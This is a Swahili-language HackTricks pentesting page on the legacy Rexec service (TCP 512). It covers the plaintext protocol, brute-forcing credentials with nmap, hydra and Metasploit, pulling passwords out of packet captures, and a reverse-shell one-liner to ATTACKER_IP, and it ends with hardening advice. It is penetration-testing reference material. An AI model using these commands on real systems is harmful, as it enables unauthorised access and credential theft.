512 - Pentesting Rexec
Reading time: 5 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Rexec (remote exec) ni moja ya huduma za asili za Berkeley r-services suite (pamoja na rlogin
, rsh
, …). Inatoa uwezo wa kutekeleza amri kwa mbali iliyothibitishwa tu kwa jina la mtumiaji na nenosiri la wazi. Protokali hii ilifafanuliwa mwanzoni mwa miaka ya 1980 (tazama RFC 1060) na sasa inachukuliwa kuwa haiko salama kwa muundo. Hata hivyo, bado inapatikana kwa chaguo-msingi katika baadhi ya vifaa vya zamani vya UNIX / vinavyounganishwa na mtandao na mara kwa mara huonekana wakati wa pentests za ndani.
Default Port: TCP 512 (exec
)
PORT STATE SERVICE
512/tcp open exec
🔥 Mzunguko wote – ikiwa ni pamoja na akidi – unatumwa bila usimbuaji. Mtu yeyote mwenye uwezo wa kunusa mtandao anaweza kupata jina la mtumiaji, nenosiri na amri.
Muonekano wa haraka wa itifaki
- Mteja anajihusisha na TCP 512.
- Mteja anatumia nyuzi tatu zilizomalizika na NUL:
- nambari ya bandari (kama ASCII) ambapo anataka kupokea stdout/stderr (mara nyingi
0
), - jina la mtumiaji,
- nenosiri.
- Nyota ya mwisho iliyomalizika na NUL yenye amri ya kutekeleza inatumwa.
- Seva inajibu kwa byte moja ya hali ya 8-bit (0 = mafanikio,
1
= kushindwa) ikifuatiwa na matokeo ya amri.
Hii inamaanisha unaweza kurudia kubadilishana na kitu kingine zaidi ya echo -e
na nc
:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Ikiwa akreditif ni halali utapokea matokeo ya id
moja kwa moja kwenye muunganisho huo huo.
Matumizi ya mikono na mteja
Usambazaji mwingi wa Linux bado unapeleka mteja wa urithi ndani ya kifurushi cha inetutils-rexec / rsh-client:
rexec -l user -p password <target> "uname -a"
Ikiwa -p
haijajumuishwa, mteja atakuuliza kwa njia ya mwingiliano kwa neno la siri (linaloonekana kwenye waya kwa maandiko wazi!).
Uhesabuji & Kujaribu kwa nguvu
Kujaribu kwa nguvu
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
rexec-brute
NSE inatumia protokali iliyoelezwa hapo juu kujaribu akidi kwa haraka sana.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra
ina moduli maalum ya rexec na inabaki kuwa bruteforcer wa haraka zaidi wa offline. medusa
(-M REXEC
) na ncrack
(rexec
moduli) zinaweza kutumika kwa njia ile ile.
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Moduli utaanzisha shell kwa mafanikio na kuhifadhi akiba katika hifadhidata.
Kunasa akiba
Kwa sababu kila kitu kiko katika maandiko wazi, kunasa mtandao ni thamani isiyo na kifani. Kwa nakala ya trafiki unaweza kutoa akiba bila kugusa lengo:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark wezesha Decode As … TCP 512 → REXEC ili uone maeneo yaliyopangwa vizuri.)
Vidokezo vya Baada ya Utekelezaji
- Amri zinaendeshwa kwa ruhusa za mtumiaji aliyepewa. Ikiwa
/etc/pam.d/rexec
imewekwa vibaya (mfanopam_rootok
), shell za root wakati mwingine zinaweza kupatikana. - Rexec inapuuzilia mbali shell ya mtumiaji na inatekeleza amri kupitia
/bin/sh -c <cmd>
. Unaweza hivyo kutumia hila za kawaida za shell-escape (;
,$( )
, backticks) kuunganisha amri nyingi au kuzalisha shell za kurudi:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Nywila mara nyingi huhifadhiwa katika ~/.netrc kwenye mifumo mingine; ikiwa utavunja moja ya mwenyeji unaweza kuzitumia tena kwa harakati za upande.
Kuimarisha / Ugunduzi
- Usifichue rexec; badilisha na SSH. Karibu seva zote za kisasa za inetd zinaondoa huduma hiyo kwa chaguo-msingi.
- Ikiwa lazima uihifadhi, punguza ufikiaji kwa kutumia TCP wrappers (
/etc/hosts.allow
) au sheria za firewall na enforce nywila zenye nguvu kwa kila akaunti. - Fuata trafiki kwenda :512 na uzinduzi wa mchakato wa
rexecd
. Kukamata pakiti moja kunaweza kutosha kugundua uvunjaji. - Zima
rexec
,rlogin
,rsh
pamoja – zinashiriki sehemu kubwa ya msingi wa msimbo na udhaifu.
Marejeleo
- Nmap NSE
rexec-brute
hati – https://nmap.org/nsedoc/scripts/rexec-brute.html - Rapid7 Metasploit moduli
auxiliary/scanner/rservices/rexec_login
– https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.